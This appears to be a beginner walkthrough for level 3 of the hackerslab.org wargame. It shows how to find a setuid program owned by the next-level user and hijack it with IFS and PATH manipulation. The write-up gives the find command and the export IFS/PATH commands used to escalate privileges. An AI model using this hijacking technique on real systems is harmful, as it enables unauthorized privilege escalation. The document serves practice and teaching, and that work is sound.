::Welcome to level3 hackerslab.org tutorial::
Steven is known for his tardiness, he is never on time! He is aware of this
problem and knows that he has to do something about it. So, he programmed a
simple C utility by using the `date` command that displays the current date in
YYYY-MM-DD format every time he logs on to his computer. He put it in a secret
directory because he was worried about others seeing this. Find it out and get
the password for the next level.
Ahh, IFS and PATH. Even though you are going to get help on how to pass the
level, I can't fully explain IFS and PATH because I am not the best at explaining
things. Google them. IFS is hard to find, so instead of searching IFS, search
Internal Field Separator.=).
*Step 1: The find command.(Results may vary)
[level3@drill level3]$ find / -user level4 -group level3 2>/dev/null
/usr/man/pt_BR/man8/today
[level3@drill level3]$
*Step 2: Execute.(Results may vary)
[level3@drill level3]$ /usr/man/pt_BR/man8/today
02/21/04
[level3@drill level3]$
*Step 3: Hack it.
[level3@drill level3]$ export IFS="/"
[level3@drill level3]$ export PATH=~/tmp/:$PATH
[level3@drill level3]$ /usr/man/pt_BR/man8/today
Congratulations!
